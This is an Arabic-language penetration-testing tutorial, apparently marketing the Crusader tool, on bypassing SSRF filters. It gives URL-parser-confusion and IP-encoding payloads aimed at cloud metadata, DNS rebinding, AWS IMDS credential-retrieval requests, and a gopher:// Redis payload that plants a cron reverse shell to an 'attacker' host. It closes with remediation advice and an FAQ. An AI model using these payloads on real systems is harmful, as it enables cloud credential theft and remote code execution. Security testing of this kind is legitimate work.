تجاوز الفلاتر السهلة في SSRF: التباس محلّل الـ URL ونقطة نهاية بيانات التعريف

تزوير الطلب من جانب الخادم (SSRF) هو أحد أصناف الثغرات القليلة التي تسلّمك فيها ثغرة واحدة بيانات اعتماد سحابية. الآلية تافهة في وصفها — تجعل الخادم يجلب URL تتحكم فيه — وكل شرح يتوقف عند هذا الحد، وهذا بالضبط سبب عدم جدواها. الحمولة التعليمية، http://169.254.169.254/ الملصقة في حقل URL، محجوبة في كل مكان بقوائم الحظر. السبب في أن SSRF لا يزال أحد أكثر أصناف الثغرات إنتاجية في 2026 ليس أن المطوّرين نسوا الفلترة. بل هو أن الفلتر الخاص بهم وعميل الـ HTTP لديهم يقرآن الـ URL بطريقتين مختلفتين، وأنت تعيش في تلك الفجوة.

قائمة سماح الـ URL هي رهان على أن قطعتَي كود — أداة التحقق وأداة الجلب — تتفقان على أي مضيف طلبتَه. وهما لا تتفقان تقريبًا أبدًا. SSRF الحديث هو فنّ إيجاد سلسلة واحدة تقرآنها بطريقتين.

الثغرة الأبرز: التباس محلّل الـ URL

سمّى بحث Orange Tsai بعنوان A New Era of SSRF الشيء الذي كان الجميع يتعثّر فيه: أداة تحقق مبنية على مكتبة URL معيّنة وعميل HTTP مبني على مكتبة أخرى يحلّلان السلسلة نفسها إلى مضيفين مختلفين. تقول أداة التحقق «هذا يشير إلى expected-host، مسموح.» فيتصل العميل بـ 169.254.169.254. وكلاهما يتصرف بشكل صحيح وفق قراءته الخاصة لمواصفة غامضة (يترك RFC 3986 مجالًا حقيقيًا هنا). كل ما تحتاجه هو المدخل الذي يفرّق بينهما.

الحمولات الدقيقة، ولماذا تفرّق كل واحدة بين المحلّلَين:

http://[email protected]/

التباس معلومات المستخدم (userinfo). كل ما يسبق الـ @ هو مكوّن الـ userinfo؛ والمضيف الحقيقي يليه. أداة تحقق ساذجة تبحث عن المضيف في بداية السلسلة ترى expected-host وتسمح به. أما عميل الـ HTTP، الذي يحلّل بشكل صحيح، فيتصل بـ 169.254.169.254 ويمرّر expected-host كاسم مستخدم (يُتجاهل).

http://169.254.169.254#@expected-host/

خدعة الشظية (fragment). أداة تحقق «تعثر على المضيف بالتقسيم على @» تلتقط expected-host من الذيل. لكن # يبدأ الشظية — وكل ما يليه تتجاهله أداة الجلب، التي تتصل بـ 169.254.169.254. تفحص قائمة السماح سلسلة لا تراها الشبكة أبدًا.

http://expected-host\@169.254.169.254/

اختلاف الشرطة المائلة العكسية. المتصفحات وnet/url الخاصة بـ Go تطبّع \ إلى /، فبالنسبة إليها المضيف هو expected-host والبقية مسار. أما المكتبات التي لا تطبّع الشرطة المائلة العكسية فتعامل expected-host\ كـ userinfo و169.254.169.254 كمضيف. تصل أداة التحقق وأداة الجلب إلى مضيفين مختلفين من سلسلة البايتات نفسها.

http://169.254.169.254 &@expected-host

حقن المسافات البيضاء / محارف التحكّم. مسافة أو tab أو CR/LF خام مقحوم في السلطة (authority) يجعل محلّلًا يبتر المضيف مبكرًا وآخر يقرأ مستمرًّا. بعض البنى تتوقف عند المسافة (المضيف = 169.254.169.254)، وبعضها يقسم على الـ @ (المضيف = expected-host)، والاختلاف هو التجاوز.

السبب الجذري دائمًا بالشكل ذاته: غموض RFC 3986 إضافةً إلى أداة تحقق وعميل HTTP يستخدمان تطبيقَي URL مختلفين. حين ترى قائمة سماح، لا تسأل أولًا «هل أستطيع الترميز للالتفاف حولها» — بل اسأل «ما الذي يحلّل هذا، وهل تتفق معه أداة الجلب؟»

عندما تكون قائمة حظر لا قائمة سماح: ترميزات الـ IP

إذا كان الفلتر قائمة حظر نصية تطابق 127.0.0.1 / localhost / 169.254.169.254 حرفيًا، فإنه يسقط أمام حقيقة أن عنوان الـ IP له أشكال نصية عديدة تُحَلّ جميعها إلى الـ 32 بت نفسها:

2130706433              decimal for 127.0.0.1
0177.0.0.1              octal first octet
0x7f.0.0.1              hex first octet
127.1                   short form — omitted octets are zero-filled
[::1]                   IPv6 loopback
[::ffff:169.254.169.254]  IPv4-mapped IPv6 — reaches the metadata IP
0.0.0.0                 Linux routes this to localhost

خدعة 0.0.0.0 هي التي يفوّتها الناس: على Linux تُوجَّه إلى الـ loopback، فتصل إلى خدمتك المحلية بينما تمرّ مباشرةً بجانب قائمة حظر لا تعرف سوى السلسلة 127.0.0.1. وعندما يحلّ الفلتر اسم المضيف لكن ليس الوجهة النهائية، فإن خدمات DNS ذات البدل (wildcard) تسلّمك عنوان IP داخليًا في اسم يبدو عامًّا: 169.254.169.254.nip.io يُحَلّ إلى 169.254.169.254، وlocaltest.me يُحَلّ إلى 127.0.0.1.

إعادة ربط الـ DNS (DNS rebinding): ثغرة TOCTOU على المحلّل (resolver)

عندما يكون التحقق والجلب عمليتَي بحث DNS منفصلتين، ضع سجلًّا بـ TTL يساوي 0 بينهما. يُحَلّ إلى IP عام مسموح لحظةَ تحقق التطبيق، ثم إلى 169.254.169.254 بعد لحظة حين يجلب التطبيق فعليًا — ثغرة زمن-التحقق/زمن-الاستخدام على الـ DNS نفسه. تؤتمِت أداتا rebind وsingularity هذا التبديل. المطبّ الذي يلتهم يومًا كاملًا: بعض عملاء الـ HTTP يخزّنون الـ DNS مؤقتًا أو يثبّتون التحليل الأول طوال عمر الاتصال، فلا تحدث عملية البحث الثانية وتفشل إعادة الربط بصمت. اختبر ما إذا كان العميل يعيد التحليل قبل أن تستنتج أن الهدف آمن — فإعادة ربط فاشلة معلومة عن سلوك DNS لعميل واحد، لا نتيجة نظيفة.

ابنِ قائمة المرشحين من الميزات التي تستقبل URL انطلاقًا من سجل الـ proxy — وهنا تؤتي الاستطلاع السلبي من سجل الـ proxy ثمارها. تختبئ ثغرات SSRF في الـ webhooks، والاستيراد عبر URL والصورة الرمزية عبر URL، ومولّدات الـ PDF / لقطات الشاشة / الصور المصغّرة، وعناوين اكتشاف SSO/OIDC، وأدوات كشف الروابط (link unfurlers)، وثغرات XXE-إلى-SSRF عبر محلّلات XML وSVG.

تأكيدها: OAST، وليس جسم الـ response أبدًا

أهمّ تحوّل مفرد لـ SSRF الحديث: توقّف عن قراءة الـ response. معظم ثغرات SSRF الحقيقية عمياء — يجلب الخادم الـ URL الخاص بك ولا يُظهر لك شيئًا — فحلقة الفلترة-والمعاينة تفوّتها تمامًا. وجّه المعامل إلى مستمِع خارج النطاق وراقب رد الاتصال:

POST /api/import HTTP/2
Content-Type: application/json

{"url":"http://k7f2p9.oast.example/"}

# API returns {"status":"queued"} — nothing useful.
# A DNS lookup for k7f2p9.oast.example arriving from the
# target's egress IP is the proof. The response body never mattered.

يمكنك أيضًا التأكيد دون أي رد اتصال عبر التوقيت: منفذ داخلي مفتوح ومنفذ مغلق ينتجان زمنَي استجابة مختلفَين بشكل يمكن قياسه، فاستدعاء connect() الذي يعلّق مقابل آخر يُرفَض بسرعة هو مسح منافذ أعمى للشبكة الداخلية.

فخّ الكشف الذي يُنتج نتائج إيجابية كاذبة: استجابة 200 مخزّنة مؤقتًا أو مقدّمة من CDN تكتفي بـ ترديد اسم مضيف رد اتصالك في الـ response قد تبدو إصابة وهي ليست كذلك — فالـ CDN هو من حلّ اسم مضيفك، لا الواجهة الخلفية للهدف. قاعدتان تبقيانك أمينًا. أولًا، تحقّق من أن عنوان IP مصدر رد الاتصال هو البنية التحتية للهدف، لا حافة CDN مشتركة. ثانيًا، فضّل التفاعلات عبر DNS فقط: فتحليل DNS يفلت من فلترة خروج الـ HTTP التي قد تُسقِط بصمت رد اتصال HTTP صادرًا، وبذلك يؤكّد الـ DNS الحالات التي لا يُظهر فيها الـ HTTP شيئًا فتعلن خطأً أن المعامل آمن.

التصعيد: نقطة نهاية بيانات التعريف، بالطريقة الصحيحة

الوصول إلى 169.254.169.254 هو البداية، لا الاكتشاف. على AWS، يسلّم IMDSv1 بيانات الاعتماد مباشرةً لأمر GET:

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/

IMDSv2 هو حيث تخطئ معظم التقارير، لأنه رقصة request كاملة، لا مجرد GET:

# 1. PUT to obtain a session token
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600

# 2. GET the credentials, presenting that token
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-aws-ec2-metadata-token: <token-from-step-1>

تفصيلان دقيقان يقرّران ما إذا كان هذا سينجح. ثغرة SSRF التي تدعم GET فقط لا تستطيع تنفيذ الخطوة 1 إطلاقًا — تحتاج إلى التحكم في الـ method والترويسات لإرسال PUT من أجل الـ token. والحدّ الافتراضي للقفزات على الـ response الخاص بالـ PUT هو 1: request ينشأ من داخل حاوية يضيف قفزة شبكية، فيموت response الـ token قبل أن يعود، وبالتالي فإن SSRF من داخل حاوية غالبًا لا يستطيع الوصول إلى خدمة بيانات التعريف حتى عندما يكون المعامل قابلًا للاستغلال بالكامل. وإذا لم يُعطَّل IMDSv1 صراحةً فإنه يبقى بديلًا يستحق الفحص. أما GCP فأبسط لكنه مقيّد بترويسة: http://metadata.google.internal/ مع Metadata-Flavor: Google. لا تبلّغ عن «الوصول إلى بيانات التعريف ممكن» — بلّغ عن بيانات الاعتماد التي استرجعتها، أو اشرح بدقة لماذا أوقفك الـ hop limit أو متطلب الـ token.

التصعيد: gopher:// إلى RCE عبر Redis

gopher:// هو المخطط (scheme) الذي يحوّل SSRF إلى TCP خام ضد خدمات البروتوكولات النصية الداخلية — Redis وmemcached وSMTP — لأنه يتيح لك كتابة بايتات اعتباطية إلى المقبس (socket). حين يُوجَّه إلى Redis غير مصادَق عليه، يصبح تنفيذ كود عن بُعد عبر كتابة مهمة cron:

gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/spool/cron/
CONFIG SET dbfilename root
SET x "\n* * * * * bash -i >& /dev/tcp/attacker/4444 0>&1\n"
SAVE

كل سطر من بروتوكول Redis يُرمَّز بترميز URL في حمولة gopher واحدة (%0d%0a بين الأوامر). CONFIG SET dir يعيد توجيه دليل الحفظ في Redis إلى cron، وdbfilename root يسمّي ملف التفريغ باسم الـ crontab، وSET يخبّئ سطر cron لـ reverse shell، وSAVE يفرغه إلى القرص — حيث يلتقطه cron ويعيد الاتصال. من SSRF إلى RCE، دون مصادقة، بـ request واحد.

المعالجة

لقسم الإصلاح في تقريرك: قوائم سماح الـ URL في كود التطبيق هي الشيء الذي يفشل، لأنها تعتمد على اتفاق أداة التحقق وأداة الجلب. الإصلاحات المتينة هي حلّ اسم المضيف بنفسك، والتحقق من الـ IP المحلول مقابل قائمة رفض للنطاقات الداخلية، ثم تثبيت ذلك الـ IP بالضبط والاتصال به بحيث لا يستطيع أي تحليل ثانٍ إعادة الربط؛ وتعطيل المخططات غير المستخدمة (لا gopher:// ولا file:// ولا dict://)؛ وفرض IMDSv2 وضبط hop limit لبيانات التعريف على 1 بحيث لا تستطيع عمليات الهروب من الحاويات الوصول إليها؛ وحجب الخروج على مستوى الشبكة بدلًا من الوثوق بفحص نصي. الفلتر الذي يحلّل الـ URL يتسابق مع عميل يحلّله بطريقة مختلفة — انقل القرار إلى الـ IP المحلول، حيث لا توجد سوى إجابة واحدة.

الخلاصة

SSRF لم يزدد صعوبة؛ بل جرت فلترة الحمولات الساذجة، وتوقّف الجميع طبقةً واحدة مبكرًا. انتقلت الثغرة إلى مستوى أدنى — إلى الخلاف بين الكود الذي يفحص الـ URL والكود الذي يجلبه، وإلى الحالات العمياء التي لا تظهر أبدًا في جسم الـ response. اربط مستمِعًا خارج النطاق بكل معامل يستقبل URL، ودع الحالات العمياء تعلن عن نفسها بنبضة DNS، وأنفق حمولات التباس المحلّل خاصتك فقط على المعاملات التي اتصلت بالفعل. هذا هو الشكل نفسه للنائب المرتبك (confused deputy) — سياق موثوق يتصرف بناءً على مدخلات يتحكم فيها المهاجم — وهو الآن يقود حقن الأوامر النصية في وكلاء الذكاء الاصطناعي.

يأتي Crusader مزوّدًا بالاختبار خارج النطاق (OAST / Interactsh) مدمجًا، وهذا هو جوهر اللعبة كله في blind SSRF: أطلق الـ request على معامل يستقبل URL، وراقب التفاعل، وأكّد من عنوان IP مصدر رد الاتصال أن خادم الهدف هو من اتصل — دون الحاجة إلى جسم response. وجّهه إلى كل webhook ومستورِد وعنوان اكتشاف في سجلّك ودع الحالات المفلترة تعترف. حمّل Crusader مجانًا.

الأسئلة الشائعة

ما هو التباس محلّل الـ URL في سياق SSRF؟
إنه صنف من تجاوز فلاتر SSRF حيث يقوم الكود الذي يتحقق من الـ URL وعميل الـ HTTP الذي يجلبه بتحليل السلسلة نفسها بطريقتين مختلفتين. حمولة مثل http://[email protected]/ يمكن أن تجعل أداة التحقق تقرأ expected-host كمضيف (الجزء قبل الـ @) بينما يتصل عميل الـ HTTP بـ 169.254.169.254 (المضيف الحقيقي). يختلف المكوّنان، فتجتاز قائمة السماح بينما يذهب الـ request إلى مكان آخر. وقد وثّق Orange Tsai هذا في ‘A New Era of SSRF’.
لماذا يوقف IMDSv2 أحيانًا ثغرة SSRF حتى عندما يكون المعامل قابلًا للاستغلال؟
يتطلب IMDSv2 إرسال PUT إلى /latest/api/token للحصول على token جلسة، ثم تمرير ذلك الـ token كترويسة في الـ GET. لا تستطيع ثغرة SSRF التي تدعم GET فقط تنفيذ الـ PUT. علاوة على ذلك، فإن الحدّ الافتراضي لقفزات الـ response على الـ PUT هو 1، فأي request ينشأ من داخل حاوية (قفزة شبكية إضافية) لا يصل إلى 169.254.169.254 إطلاقًا. تحتاج إلى SSRF بـ request كامل يتحكم في الـ method والترويسات، وإلى hop limit يسمح للحزمة بالوصول.
كيف تؤكّد blind SSRF دون رؤية الـ response؟
وجّه المعامل إلى مستمِع خارج النطاق (OAST، مثل Interactsh) وراقب رد اتصال DNS أو HTTP. الدليل هو رد اتصال يعود عنوان IP مصدره إلى البنية التحتية للهدف. فضّل التفاعلات عبر DNS فقط: فهي تفلت من فلترة خروج الـ HTTP التي قد تحجب رد اتصال HTTP صادر، كما أن response مخزّنًا مؤقتًا من CDN يردّد اسم مضيفك ليس دليلًا بحدّ ذاته.
جرّب Crusader مجانًا →